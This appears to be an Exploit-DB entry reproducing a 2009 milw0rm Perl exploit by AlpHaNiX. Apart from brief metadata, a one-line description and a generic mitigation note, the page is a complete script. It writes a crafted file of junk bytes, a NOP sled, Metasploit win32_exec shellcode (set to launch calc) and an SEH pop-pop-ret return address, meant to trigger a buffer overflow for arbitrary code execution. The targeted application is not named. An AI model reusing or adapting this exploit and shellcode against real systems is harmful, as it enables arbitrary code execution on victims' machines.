Buffer Overflow Exploit in Perl

vendor:

N/A

by:

AlpHaNiX

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Buffer Overflow Exploit in Perl

A buffer overflow exploit in Perl which is used to execute arbitrary code. It uses win32_exec payload from Metasploit and the exploit is made up of junk bytes, NOP sled, shellcode and return address.

Mitigation:

Ensure that the application is not vulnerable to buffer overflow attacks by using secure coding practices and input validation.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# By AlpHaNiX [NullArea.Net]
# alpha[at]hacker.bz
# Made in Tunisia

my $junk      = "\x41" x 96   ;     # whatever bytes
my $nop       = "\x90" x 20   ;     # bla bla xD
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub , thanks metasploit
my $shellcode =
    "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9".
    "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05".
    "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09".
    "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d".
    "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26".
    "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64".
    "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb".
    "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28".
    "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44".
    "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38".
    "\xac\x2c\xc9\x40" ;
my $ret       = "\x58\xF6\xE8\x73"; # pop ebx pop ret
my $exploit = $junk.$nop.$shellcode.$ret;
open (file,">>file.ofl");
print file $exploit;
close (file);
print "done\n";

# milw0rm.com [2009-04-08]